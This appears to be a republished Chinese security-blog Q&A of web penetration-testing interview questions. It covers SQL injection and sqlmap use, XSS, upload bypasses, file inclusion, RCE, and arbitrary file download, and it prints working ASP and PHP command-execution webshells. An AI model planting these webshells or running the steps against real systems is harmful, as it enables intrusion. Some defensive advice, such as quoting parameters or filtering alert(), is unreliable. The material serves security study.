一些常见问题的总结
2023-7-31 11:58:39 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

1.sq|注入原理?一般如何测sq|注入(测试sq|注入步骤) ?

原理:当web向后台数据库传递SQL语句时,如果没有对用户输入的参数进行严格的过滤处理的话,攻击者就可以构造特殊的SQL语句,直接输入数据库执行,从而获取或者修改数据库中的数据。

步骤:

1、找注入点,判断是否可以注入。

2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2

3、如果是字符型注入,判断闭合符。' " ') ")  %) %…

4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节

5、判断列数。order by

6、判断显错位。union select 1,2,3, …

7、求库、求表、求字段、求数据。

8、找后台,御剑扫后台目录。

9、上传一句话木马。菜刀,蚁剑连接。

2.报错注入的函数,以及报错注入的原理?

常见的函数:Extractvalue、updataxml、floor等。

原理:在SQL语句中人为的制造XPATH语法错误来使得我们的查询结果出现在报错信息当中。

报错信息是数据库报错。

3.sq|注入常用工具,sqlmap如何注入post, sqlmap指定注入类型,sqlmap --os-shell的原理

POST:拉出post数据包单独作为一个文件,然后sqlmap.py -r 文件路径

SQLmap指定注入类型:使用参数--technique  后面接表示参数技术的大写字母。

eg:python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB --banner

B

布尔Boolean-based blind

E

报错Error-based

U

联合Union query-based

S

堆叠Stacked queries

T

时间Time-based blind

Q

嵌套Inline queries

Sqlmap使用--os-shell的条件:

(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

sqlmap --os-shell的原理:

1、sqlmap通过注入攻击获取到服务器的访问权限,包括操作系统的访问权限和数据库的访问权限。

2、sqlmap启动一个交互式的命令行shell,使得攻击者可以直接通过命令行与受攻击服务器进行交互。

3、sqlmap将建立一个TCP连接,将命令行的输入和输出通过该连接发送到目标服务器上的一个后门程序中。

4、目标服务器上的后门程序将接收到sqlmap发送的命令行输入,并在服务器上执行相应的操作。

5、后门程序将命令行输出发送回sqlmap,sqlmap再将其显示在交互式shell中,从而实现了与受攻击服务器的交互。

4.sq|注入写文件需要什么条件?写文件的函数,读文件的函数?

条件:数据库允许导入导出、当前用户有文件操作权限、需要知道文件的绝对路径

写文件函数:into outfile(能写入多行,按格式输出);into Dumpfile(只能写入且没有输出格式)

读文件函数:load_file()

5.sq|注入能否通过js进行防御,常用的sq|注入防御方式?

不可以,因为sql注入是服务器端的攻击,而js运行在客户端,但是js在客户端可以通过一些手段在一定程度上增强程序的安全性,比如输入验证,转义输出,加密传输等。

常用的SQL注入防御方式:

  • 输入验证和过滤
  • 把所有参数都用””或者’’包裹
  • 最小权限原则:对所有的数据库用户只授予适合他的最小权限。
  • 使用web防火墙
  • 定期更新软件

6.xss原理? xss测试步骤?

原理:XSS是指攻击者通过在Web页面中写入恶意脚本,造成在用户浏览页面时获取控制用户浏览器进行操作的攻击方式。

步骤:

  • 收集目标应用程序的URL、页面结构、用户输入字段以及可能存在的XSS漏洞
  • 在输入点输入一些简单的脚本观察能不能弹出警告框,由此来判断有没有xss
  • 尝试插入不同的攻击载荷,反射型(在url)、存储型(在留言板等与数据库有交互的地方)、DOM型(在搜索框要求搜索框对输入内容未经过适当的转义处理)
  • 使用常见的xss工具进行扫描
  • 进行Cookie劫持

7.反射型xss,是否有利用价值,如果有,如何利用?

有利用价值。

Cookie劫持、通过恶意代码实现重定向(使其跳转到指定页面)

8.xss如何进行防御,如果是过滤,需要过滤哪些函数?

1、对用户的输入(和URL参数)进行过滤,对输出进行html编码。

2、过滤alert()、prompt()、confirm()

9.文件上传漏洞能达到什么目的?为什么文件上传可以拿shell?文件上传测试步骤?

目的:上传木马;通过http协议将本地文件内容传输到目标服务器上。

拿shell:上传的恶意文件连接成功后可以用来执行恶意代码,一旦成功执行恶意代码攻击者就可以获得对目标系统的控制权限。

步骤:识别文件上传点、绕过文件类型限制、上传恶意文件、执行恶意代码、控制系统。

10.文件上传常见的过滤绕过方式(windows, linux) ?

1、改变文件的扩展名

2、双扩展名

3、添加空格

4、编码绕过

5、绕过Content-Type检查

6、Null字节,在文件名后添加空字节(\x00)

11.解析漏洞有哪些?

解析漏洞是指攻击者通过构造恶意输入,成功利用解析漏洞,导致应用程序在解析用户输入时出现意外行为,从而执行未经授权的操作或者获取敏感信息。

常见的命令注入、SQL注入、xss、XXE、RCE都属于解析漏洞。

文件解析漏洞是涉及对文件进行解析和处理的过程中产生的漏洞。攻击者通过构造恶意文件,利用这些漏洞来执行未经授权的操作、读取敏感信息或导致拒绝服务等攻击。常见的文件解析漏洞有:图片解析漏洞、PDF解析漏洞、压缩文件解析漏洞、日志文件解析漏洞等。

12.如果遇到一个后台登陆,密码进行了base64加密,如何爆破?

构造字典、登陆界面输入正确的用户名和任意密码登录抓包、利用burp加载字典,密码内容加亮,字典内容加密方式选择base64,开始爆破。

13.常见的逻辑漏洞有哪些?都是如何利用的?

常见的逻辑漏洞有:权限绕过,密码找回,验证码自动识别,验证码客户端回显,验证码绕过,验证码暴力破解,验证码重复使用,支付逻辑漏洞,未进行登陆凭证验证等。

14.命令执行(RCE)测试步骤是?

1、收集有关程序或系统的信息,包括URL、参数、功能等;

2、寻找输入点:web表单、URL参数、HTTP头、Cookie

3、使用渗透工具或者自己编写脚本,尝试在输入点输入恶意命令

4、看回显是否有恶意命令的执行结果

5、验证权限

6、记录结果,写入报告

15.21,22,53,3389,3306, 1433,1521,6379,**11211**分别对应哪些服务?

21:FTP

22:SSH

53:DNS

3389:RDP

3306:MySQL

1433:Mssql

1521:Oracle

6379:Redis

11211:Memcached

16.6379是什么服务,有哪些对应的攻击手法,此类漏洞防御手段有哪些?

6379是Rides数据库的默认端口

攻击手法:未授权访问、信息泄露、远程代码执行、拒绝服务

防御手段:

  • 确保访问Rides的用户都来自信任的主机
  • 设置强密码
  • 使用防火墙
  • 合理设置参数,不开启不必要的功能
  • 定期更新
  • 定期进行日志审计

17.文件包含的关键函数是哪几个?测试步骤是什么?

函数:

1、include()

2、require()

3、include_once()

4、require_once()

步骤:

  • 构造符合网站上传文件类型的恶意文件
  • 通过文件上传等手段在网站根目录下传入恶意文件
  • 通过恶意文件进行攻击操作

18.http协议状态码?请求头有哪些?

1xx:信息性状态码,表示请求已经接收,继续处理

2xx:成功状态码,表示请求已经接收理解并处理

3xx:重定向状态码,表示需要进一步操作来完成请求

4xx:客户端错误状态码,表示请求出错

5xx:服务器错误状态码,表示服务器在处理请求时发生错误

请求头:

  • Host:指定请求的服务器主机名和端口号。
  • User-Agent:标识客户端的用户代理,通常是浏览器名称和版本信息。
  • Accept:指定客户端能够接收的内容类型。
  • Accept-Language:指定客户端优先接受的自然语言。
  • Accept-Encoding:指定客户端能够接受的内容编码方式。
  • Connection:指定是否在完成请求后保持与服务器的连接。
  • Referer:指定请求来源的URL。
  • Content-Type:指定请求体中的内容类型。
  • Content-Length:指定请求体的长度。
  • Authorization:包含用于进行HTTP身份验证的凭据。

19.https认证原理,tcp协议三次握手、四次挥手。

https认证原理:客户端向服务器发起https连接的请求;服务器发送自己的证书和公钥给客户端;客户端验证证书确保其真实性和有效性;客户端随机生成一个对称密钥,用服务器的公钥加密然后发给服务器,服务器用自己的私钥解密得到对称密钥;此时双方都拥有了相同的对称密钥,后面就可以用对称密钥来加密和解密传输的数据。

Tcp的三次握手:客户端发送一个请求连接的报文给服务器,证明自己的发送能力无误;服务器收到报文之后给客户端发送一个报文证明自己接收和发送报文的能力无误;客户端收到服务器的报文之后再给服务器发送一个报文,证明自己的就收能力无误 ,服务器收到报文之后,客户端和服务器之间的连接正式建立。

Tcp的四次挥手:

第一次:客户端发送连接释放请求。

第二次:服务器收到连接释放请求之后发出确认释放的报文,然后服务器向客户端发送连接释放请求。

第三次:客户端收到确认报文之后,等待服务器的连接释放请求。

第四次:客户端收到服务器的连接释放请求之后,向服务器发出确认报文。此时客户端必须要经过2MSL(报文最长寿命),撤销了相应的TCB才会进入CLOSED关闭状态;服务器收到客户端的确认报文之后立即进入CLOSED关闭状态。到这里四次挥手完成。

20.一个php的站,如果文件上传只能上传jpg,上传的目录不被解析,那么还有什么方式可以shall

  • 判断网站是否存在文件包含漏洞,如果存在可以使用图片马:在jpg文件中嵌入php代码上传,当服务器执行这个图片马时即实现了获取shell的目的
  • 任意文件读取漏洞:如果网站存在任意文件读取漏洞,那么可以通过上传文件的方式读取服务器上的敏感文件进而考虑如何利用其它方式获取shell

21.IIS有哪些漏洞?除了解析漏洞还有什么漏洞?

远程代码执行漏洞(对url的长度不进行限制和检查)、文件上传漏洞(开启了WebDAV和写入权限)、短文件名猜解漏洞(访问构造的短文件名,如果存在返回404,不存在返回400)、解析漏洞(处理含有特殊符号的文件路径时会出现逻辑错误;eg:a.asp目录下的所有文件都会按照asp文件解析;test.asp;.jpg会当作asp文件解析)

22.信息收集的方法有哪些?

被动收集:利用第三方的服务对目标进行访问

主动收集:fofa扫子域名;whois查看域名信息;真实ip查询;webscan查找旁站和C段;御剑、disearch扫描目录、nmap,zenmap扫描端口、AWVS,Nessus扫描漏洞,用某些插件查看网站框架等。

23.csrf跟ssrf的区别是什么?

csrf是跨站请求伪造,该漏洞的形成是由于服务器端对用户提交的数据没有进行随机值校验,而且对数据包内的refer字段校验不严导致攻击者利用用户的cookie信息伪造用户请求发送到服务器;

ssrf是服务器请求伪造,该漏洞的形成是由于服务器对用户提供的url过于信任,没有对用户提交的url进行地址限制和足够的检测,导致攻击者以此为跳板攻击内网或者其他服务器。

24.burpsuite,四种爆破模式?

Sniper:最简单的爆破模式,逐个尝试密码组合。

Battering Ram:使用固定长度的密码。

Pitchfork:允许同时使用多个字典,同时使用多个线程进行爆破。

Cluster Bomb:组合不同的字典内容进行爆破

25.存在一个网站,可以任意文件下载,利用思路?

通常是由于应用程序没有对用户输入进行充分的验证和过滤而导致的。攻击者可以通过构造恶意的请求来利用该漏洞,从而读取或下载他们本来无权访问的文件,如密码、私钥、证书等,会提供攻击者更多可用信息,提高被入侵的风险。

利用思路:

下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

26.一句话木马编写? asp/php

asp木马

<%

Dim cmd

cmd = Request("cmd")

If cmd <> "" Then

Dim oShell

Set oShell = CreateObject("WScript.Shell")

Dim oExec

Set oExec = oShell.Exec(cmd)

Response.Write(oExec.StdOut.ReadAll())

Set oExec = Nothing

Set oShell = Nothing

End If

%>

php

<?php

$cmd = $_REQUEST['cmd'];

if ($cmd != "") {

echo shell_exec($cmd);

}

?>

27.菜刀、蚁剑、冰蝎的作用是什么?他们的数据包有何特征?

他们都是webshell管理工具。

菜刀:默认采用base64加密;eval函数必不可少,有时候会被assert代替;z0;

蚁剑:最明显的特征是@ini_set(“display_errors”,”0”); 参数名大多以“_0x.....=”这种形式出现。

冰蝎:有大量的content-type:application......;默认内置16个user-agent头;content-length请求长度,对于文件上传、命令执行来说加密参数不定长;但是对获取基本信息的payload都定长。

28.XXE漏洞的原理?

原理:应用程序对用户输入的XML文件没有进行充分的检验和过滤。攻击者通过构造恶意的XML实体,利用解析器的特性将它包含在XML文件中,一起被解析执行敏感数据读取等恶意操作。


文章来源: https://www.freebuf.com/articles/web/373454.html
如有侵权请联系:admin#unsafe.sh